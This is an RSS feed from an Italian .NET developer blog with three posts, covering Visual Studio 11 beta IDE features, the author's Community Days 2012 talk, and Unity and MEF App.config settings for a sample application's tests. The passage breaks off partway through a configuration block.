<?xml version="1.0" encoding="iso-8859-15"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>blogs.ASPItalia.com</title><link>https://blogs.aspitalia.com//rickyvr//</link><description>blogs.ASPItalia.com</description><language>it-it</language><copyright>1998-2026 ASPItalia.com/blogs.ASPItalia.com</copyright><generator>Generated by feed.ASPItalia.com 'Cortana' 2022.8.29</generator><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><sy:updateBase>1998-01-01T12:00+00:00</sy:updateBase><lastBuildDate>Fri, 02 Mar 2012 12:20:00 GMT</lastBuildDate><image><title>blogs.ASPItalia.com</title><url>https://gui.aspitalia.com/images/aspitalia/aspitalia_full.png</url><link>https://blogs.aspitalia.com//rickyvr//</link></image><item><title>Visual Studio 11 beta: le novit&amp;#224; principali dell&amp;#39;IDE</title><link>https://blogs.aspitalia.com/rickyvr/post2750/Visual-Studio-11-Beta-Novita-Principali-IDE.aspx</link><pubDate>Fri, 02 Mar 2012 12:20:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2750" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Pochi giorni fa è stata rilasciata la versione beta di Visual Studio 11 (che nel prosieguo chiamerò VS11 beta), la nuova release del tool di sviluppo targato Microsoft, pensato specificatamente per supportare come non mai i programmatori nella creazione di applicazioni per Windows 8 e per il web. L'IDE (Integrated Development Environment) di VS11 beta riporta una serie di migliorie rispetto ai suoi predecessori per incrementare la produttività degli sviluppatori e introduce alcune nuove funzionalità per coprire i nuovi scenari di sviluppo collegati dall'avvento di Metro e di Windows 8. Ma andiamo con ordine!&lt;/p&gt;&lt;h4&gt;Progetti e soluzioni&lt;/h4&gt;&lt;p&gt;In generale VS11 beta è in grado di lavorare coi progetti generati con Visual Studio 2010 SP1. L'IDE è in grado di riconoscere le incompatibilità e di fornire informazioni per migrare i progetti verso il nuovo ambiente di sviluppo. La lista completa delle &lt;strong&gt;compatibilità&lt;/strong&gt; è reperibile in questa pagina su MSDN: &lt;a href="http://msdn.microsoft.com/en-us/library/hh266747(v=vs.110).aspx" target="_blank"&gt;Visual Studio 11 Compatibility&lt;/a&gt;. Ovviamente fanno la loro comparsa i nuovi &lt;strong&gt;template di progetto per le applicazioni Metro&lt;/strong&gt; scritte in JavaScript o in C++, C# e Visual Basic. L'IDE supporta lo sviluppo delle app Metro con una serie di feature tra cui il &amp;quot;Metro Style Simulator&amp;quot;, il debugging remoto, l'estensione degli strumenti di analisi del codice e di profiling, e altre aggiunte che riguardano principalmente l'interazione integrata con il &lt;strong&gt;Windows Store&lt;/strong&gt;, per poter creare gli account di sviluppo e gestire l'upload delle app.&lt;/p&gt;&lt;h4&gt;Finestre dell'IDE&lt;/h4&gt;&lt;p&gt;La navigazione dei progetti è stata migliorata, integrando direttamente in VS11 beta le funzionalità proprie del package &amp;quot;Productivity Power Tools&amp;quot; valido per la versione precedente. In VS11 beta è possibile fare il &lt;strong&gt;pinning delle finestre&lt;/strong&gt; dell'editor, è possibile avere una &lt;strong&gt;visione integrata&lt;/strong&gt; dei membri delle classi e delle loro caratteristiche di utilizzo direttamente nel Solution Explorer (oltre che nella finestra Call Hierarchy), nonchè vedere la &lt;strong&gt;preview&lt;/strong&gt; dei file, immagini comprese, grazie al &lt;strong&gt;Preview Tab&lt;/strong&gt;, che evita di dover aprire un file per poterne consultare il contenuto. E' stato migliorato anche il supporto allo sviluppo su monitor multipli, con la possibilità di creare &lt;strong&gt;più istanze del Solution Explorer&lt;/strong&gt; da posizionare nei diversi monitor. Fanno inoltre la loro comparsa le due nuove finestre &lt;strong&gt;GPU Threads&lt;/strong&gt; e &lt;strong&gt;Parallel Watch&lt;/strong&gt;, per agevolare il programmatore negli scenari di sviluppo grafico e parallelo.&lt;/p&gt;&lt;h4&gt;Ricerca&lt;/h4&gt;&lt;p&gt;I tool di ricerca sono stati potenziati, con la possibilità di utilizzare una &lt;strong&gt;nuova sintassi regex&lt;/strong&gt; per fare ricerche parametrizzate. La ricerca è stata &lt;strong&gt;integrata nelle finestre&lt;/strong&gt; di VS11 beta, tra cui la Toolbox e lo stesso Solution Explorer, che diventa come non mai la finestra principe all'interno dell'IDE, in grado di integrare insieme un gran numero di funzionalità, in passato distribuite in finestre diverse.&lt;/p&gt;&lt;h4&gt;Editor di codice&lt;/h4&gt;&lt;p&gt;Gli editor e l'intellisense sono stati migliorati, per supportare a pieno tutti gli scenari di sviluppo previsti dal tool. In particolare, gli editor per C++ e per JavaScript hanno subito una serie di migliorie davvero notevoli. Dal momento che VS11 beta supporta a pieno &lt;strong&gt;HTML5, ECMAScript 5 e CSS3&lt;/strong&gt;, gli editor sono in grado di fornire tutte le funzionalità di colorazione del testo, autocompletamento e supporto all'editazione nelle diverse situazioni di sviluppo, sia per il web che per Metro. Ovviamente anche gli editor per C# e Visual Basic sono stati adeguati per supportare le novità proprie della nuova versione dei linguaggi.&lt;/p&gt;&lt;h4&gt;Per concludere...&lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;Le novità non si esauriscono qua, ma per il momento spero che possano bastare per mettere l'&amp;quot;acquolina in bocca&amp;quot;... Del resto VS11 beta nasce anche come uno strumento pensato per integrarsi col nuovo &lt;strong&gt;Team Foundation Server&lt;/strong&gt; e per supportare lo sviluppo di applicazioni per &lt;strong&gt;Windows Azure&lt;/strong&gt;. Parlare anche di queste feature meriterebbe un altro post a parte... :)&lt;/p&gt;&lt;p&gt;Posso dire che le novità proprie dell'IDE descritte in questo post producono un'esperienza di utilizzo per lo sviluppatore davvero notevole, con un forte impulso alla produttività e alla facilità d'uso. Inutile dire che, per poter provare a pieno le novità velocemente descritte in queste poche righe riassuntive, la cosa migliore da fare è installarsi VS11 beta quanto prima. Non temete: VS11 beta è in &lt;strong&gt;licenza Go Live&lt;/strong&gt;, il che significa che la release beta è supportata e può essere utilizzata in produzione. Inoltre viene garantita la migrazione alla versione RTM una volta che questa sarà rilasciata ufficialmente. Infine la retrocompatibilità dei progetti descritta in precedenza permette di passare al nuovo IDE in modo veloce e sicuro.&lt;/p&gt;&lt;p&gt;Potete trovare tutte le novità dell'IDE di VS11 beta nella documentazione ufficiale presente online su MSDN alla pagina: &lt;a href="http://msdn.microsoft.com/en-us/library/bb386063(v=VS.110).aspx" target="_blank"&gt;What's New in Visual Studio 11 Beta&lt;/a&gt;. Buon &amp;quot;divertimento&amp;quot; con VS11 beta!&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2750/Visual-Studio-11-Beta-Novita-Principali-IDE.aspx"&gt;&lt;em&gt;Visual Studio 11 beta: le novit&amp;#224; principali dell&amp;#39;IDE&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2750/Visual-Studio-11-Beta-Novita-Principali-IDE.aspx</guid><slash:comments>0</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2750/Visual-Studio-11-Beta-Novita-Principali-IDE.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2750.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2750</trackback:ping></item><item><title>La mia esperienza ai Community Days 2012</title><link>https://blogs.aspitalia.com/rickyvr/post2745/Esperienza-Community-Days-2012.aspx</link><pubDate>Mon, 20 Feb 2012 10:20:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2745" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ora che l'enorme onda d'urto dei Community Days 2012 è passata, raccolgo un po' di idee e sensazioni per descrivere quella che è stata la mia esperienza nei due giorni dell'evento.&lt;/p&gt;&lt;p&gt;Sono stato sia speaker, sia membro operativo dello staff. Si intenda: non è il primo evento a cui partecipo in veste di speaker o di staff member. Ma il numero di partecipanti mi ha ricordato il primo evento a cui ho preso parte in maniera attiva: il Real Code Day del 26 ottobre 2005. In quell'occasione si trattò di un evento organizzato unicamente da ASPItalia.com, ma la partecipazione fu talmente alta da richiamare in un sol giorno 420 persone che riempirono all'inverosimile una sala cinematografica. Per certi versi quello che ho visto ai Community Days 2012 mi ha ricordato quell'occasione: sale stipate, gente dappertutto, persone sedute in ogni dove, gente in piedi fuori dalla porta ad assistere le sessioni, tanto entusiasmo e interesse... &lt;strong&gt;Bello, bello, bello!!!&lt;/strong&gt; Era un po' che non vedevo una cosa del genere ed è stato un vero piacere potervi assistere: sembrava un evento di altri tempi! Da &amp;quot;vecchio&amp;quot; personaggio che frequenta le community, ho una certa memoria circa l'andamento degli eventi negli ultimi anni e posso dire che quello a cui ho assistito a Milano nei giorni scorsi è stato sicuramente uno dei più riusciti in assoluto.&lt;/p&gt;&lt;p&gt;Le novità legate a Windows 8 e Metro, WP7, Azure e il prossimo .NET 4.5 hanno sicuramente attirato le persone e le hanno spinte a partecipare. Ma non solo! Trovare così tanti speaker / argomenti / track in un &lt;strong&gt;evento gratuito&lt;/strong&gt; non è cosa di tutti i giorni. Questo è un grosso merito degli organizzatori, in primis &lt;a href="https://blogs.aspitalia.com/daniele/post2743/Community-Days-2012--Grazie.aspx" target="_blank"&gt;&lt;strong&gt;Daniele&lt;/strong&gt;&lt;/a&gt; e &lt;a href="http://blogs.ugidotnet.org/pape/archive/2012/02/15/comunity-days-ma-anche-community-dinner.aspx"&gt;&lt;strong&gt;Andrea&lt;/strong&gt;&lt;/a&gt;, ma anche la stessa &lt;strong&gt;Microsoft Italia&lt;/strong&gt;. La splendida location, ovvero la nuovissima sede di Microsoft Italia, ha fornito una cornice davvero degna, regalando un palcoscenico ideale a tutti gli speaker dell'evento.&lt;/p&gt;&lt;p&gt;Che dire di me? Beh, sono stato contento. Ho scelto di fare una sessione diversa, particolare e ovviamente di natura architetturale (ora che è passata la moda, a parlare di architettura siamo rimasti in pochi, eh-eh-eh). Il titolo era: &lt;strong&gt;&lt;a href="http://www.communitydays.it/events/communitydays-2012/arch03/" target="_blank"&gt;&amp;quot;Progettare un service layer interoperabile&amp;quot;&lt;/a&gt;&lt;/strong&gt;. Ho voluto portare la mia esperienza decennale nella realizzazione di applicazioni service-oriented sul palco, con la sola pretesa di mostrare le best practice che nel tempo si sono rivelate efficaci. E' stata un'occasione per fornire spunti di riflessione e idee su come approcciare il problema di costruire un'applicazione basata su servizi. Devo dire che la risposta da parte dei presenti è stata al di sopra delle mie aspettative:&amp;#xa0;facce interessate e attente,&amp;#xa0;gente in piedi per tutta la sessione, nonostante il pranzo fosse già servito fuori dalla porta, 20/30 minuti di domande dopo la fine della sessione che hanno costretto Daniele ad espellermi dalla sala e a me di trovare solo i rimasugli del pranzo (&lt;em&gt;sero venientibus, ossa!!!&lt;/em&gt;)...&lt;/p&gt;&lt;p&gt;Sapevo che la mia non era una &lt;em&gt;&amp;quot;sessione al cioccolato&amp;quot;&lt;/em&gt; (in realtà non lo sono quasi mai), ovvero di quelle che richiamano la folla, ma sono convinto (come del resto gli organizzatori) che questo tipo di sessioni servano moltissimo e rappresentino un forte valore aggiunto. Del resto tutta la track architetturale è stata gettonatissima, questo dimostra che, alla fine, gli argomenti trattati sono sempre attuali.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare tutti coloro che sono intervenuti all'evento, i partecipanti, gli organizzatori, gli sponsor (tra cui una menzione speciale va a &lt;strong&gt;Hoepli&lt;/strong&gt;, la casa editrice che pubblica i libri di cui sono coautore). Vi invito a seguire la &lt;strong&gt;registrazione&lt;/strong&gt; della mia sessione che sarà disponibile a breve e a scaricare la &lt;strong&gt;versione PDF delle slide&lt;/strong&gt; dal &lt;a href="http://www.communitydays.it/events/communitydays-2012/" target="_blank"&gt;sito dell'evento&lt;/a&gt;. Vi ricordo infine che potete trovare molti degli spunti di cui ho parlato nella sessione in due articoli che ho pubblicato in passato:&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.aspitalia.com/articoli/architettura/service-based-web-applications.aspx" target="_blank"&gt;Architettura del software: le applicazioni web basate su servizi&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.winfxitalia.com/articoli/communication-foundation/interoperabilita-servizi-wcf-php-flash.aspx" target="_blank"&gt;Interoperabilità con WCF: invocare servizi da PHP e Flash&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;Alla prossima!&lt;/p&gt;

&lt;p&gt;Continua a leggere &lt;a href="https://blogs.aspitalia.com/rickyvr/post2745/Esperienza-Community-Days-2012.aspx"&gt;&lt;em&gt;La mia esperienza ai Community Days 2012&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="https://www.aspitalia.com/"&gt;(C) 2026 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">https://blogs.aspitalia.com/rickyvr/post2745/Esperienza-Community-Days-2012.aspx</guid><slash:comments>1</slash:comments><wfw:comment>https://blogs.aspitalia.com/rickyvr/post2745/Esperienza-Community-Days-2012.aspx#feedback</wfw:comment><wfw:commentRss>https://blogs.aspitalia.com/rickyvr/CommentRSS2745.aspx</wfw:commentRss><trackback:ping>https://blogs.aspitalia.com/services/trackback.aspx?PostID=2745</trackback:ping></item><item><title>Real Code Day 6: slide e codice sorgente</title><link>https://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx</link><pubDate>Sun, 22 May 2011 19:10:00 GMT</pubDate><description>&lt;img src="https://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2702" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Nel ringraziare tutti coloro che sono intervenuti e chi in questi giorni ha espresso giudizi positivi sul nostro RCD6, vi confermo che le slide delle mie due sessioni sono online presso la &lt;a href="http://www.aspitalia.com/eventi/31/Real-Code-Day-Firenze.aspx" target="_blank"&gt;pagina dedicata all'evento&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Vi ricordo le novità che riguardano la nostra applicazione di esempio &lt;strong&gt;Model Virtual Casting&lt;/strong&gt;&amp;#xa0;e che sono state presentate nel corso della giornata:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;composizione dei repository con MEF (Managed Extensibility Framework);&lt;/li&gt;&lt;li&gt;object model POCO e utilizzo di Entity Framework 4.1;&lt;/li&gt;&lt;li&gt;sito web adattato a HTML5;&lt;/li&gt;&lt;li&gt;rimosso Silverlight dal front-end per un uso nel back-office avanzato;&lt;/li&gt;&lt;li&gt;back-office distribuito anche come applicazione OOB (Out-Of-Browser);&lt;/li&gt;&lt;li&gt;porting su Azure;&lt;/li&gt;&lt;li&gt;versione mobile web, ottimizzata per iPhone, iPad e browser HTML5;&lt;/li&gt;&lt;li&gt;due applicazioni Windows Phone 7 per pubblicizzare l'agenzia:&lt;/li&gt;&lt;ol&gt;&lt;li&gt;gioco fatto in XNA (Ninja Braaa);&lt;/li&gt;&lt;li&gt;applicazione per consultare il catalogo.&lt;/li&gt;&lt;/ol&gt;&lt;/ul&gt;&lt;br /&gt;Per quanto riguarda quello che ho specificatamente presentato nella mia sessione tecnica, vi ricordo che tutto il codice è già disponibile presso il &lt;a href="http://modelvirtualcasting.codeplex.com/SourceControl/list/changesets" target="_blank"&gt;sito dedicato all'applicazione&lt;/a&gt; su CodePlex.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Per testare l'iniezione delle dipendenze con&amp;#xa0;&lt;strong&gt;Unity 2.0&lt;/strong&gt; attraverso il progetto di test &lt;strong&gt;ASPItalia.ModelVirtualCasting.Test&lt;/strong&gt;, al fine di caricare i repository fake presenti nell'assembly &lt;strong&gt;ASPItalia.ModelVirtualCasting.Fake&lt;/strong&gt;, il file &lt;strong&gt;App.config&lt;/strong&gt;&amp;#xa0;va configurato&amp;#xa0;come segue:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;unity&gt;&lt;br /&gt;&amp;#xa0; &lt;containers&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;container&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;type type="ASPITALIA.ModelVirtualCasting.Cache.ICacheBuilder, ASPItalia.ModelVirtualCasting.Cache" mapto="ASPITALIA.ModelVirtualCasting.Cache.Providers.InMemory.MemoryCacheBuilder, ASPItalia.ModelVirtualCasting.Cache.Providers.InMemory"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICandidateRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CandidateRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IModelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ModelRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.INewsRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.NewsRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IRequestRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.RequestRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICountryRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CountryRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobLevelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobLevelRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobTypeRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobTypeRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ILanguageRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.LanguageRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IPersonRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.PersonRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRoleRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRoleRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0;&lt;/types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;/container&gt;&lt;br /&gt;&amp;#xa0; &lt;/containers&gt;&lt;br /&gt;&lt;/unity&gt;&lt;br /&gt;&amp;#xa0; &lt;br /&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Unity"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;oppure, allo scopo di caricare le implementazioni dei repository relative a Entity Framework presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.EntityFramework&lt;/strong&gt;, la configurazione deve essere la seguente:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;unity&gt;&lt;br /&gt;&amp;#xa0; &lt;containers&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;container&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;type type="ASPITALIA.ModelVirtualCasting.Cache.ICacheBuilder, ASPItalia.ModelVirtualCasting.Cache" mapto="ASPITALIA.ModelVirtualCasting.Cache.Providers.InMemory.MemoryCacheBuilder, ASPItalia.ModelVirtualCasting.Cache.Providers.InMemory"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICandidateRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CandidateRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IModelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ModelRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.INewsRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.NewsRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IRequestRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.RequestRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICountryRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CountryRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobLevelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobLevelRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobTypeRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobTypeRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ILanguageRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.LanguageRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IPersonRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.PersonRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRoleRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRoleRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.EntityFramework.IContextContainer, ASPItalia.ModelVirtualCasting.EntityFramework" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ThreadContextContainer, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0;&lt;/types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;/container&gt;&lt;br /&gt;&amp;#xa0; &lt;/containers&gt;&lt;br /&gt;&lt;/unity&gt;&lt;br /&gt;&amp;#xa0; &lt;br /&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Unity"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Per testare la composizione con il &lt;strong&gt;Managed Extensibility Framework&lt;/strong&gt;&amp;#xa0;attraverso il progetto di test&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.Test&lt;/strong&gt;, al fine di caricare i repository fake presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.Fake&lt;/strong&gt;,&amp;#xa0;il file&amp;#xa0;&lt;strong&gt;App.config&lt;/strong&gt;&amp;#xa0;va configurato&amp;#xa0;come segue:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Mef"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;oppure, allo scopo di caricare&amp;#xa0;le implementazioni dei repository relative a&amp;#xa0;Entity Framework presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.EntityFramework&lt;/strong&gt;, la configurazione deve essere la seguente:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; 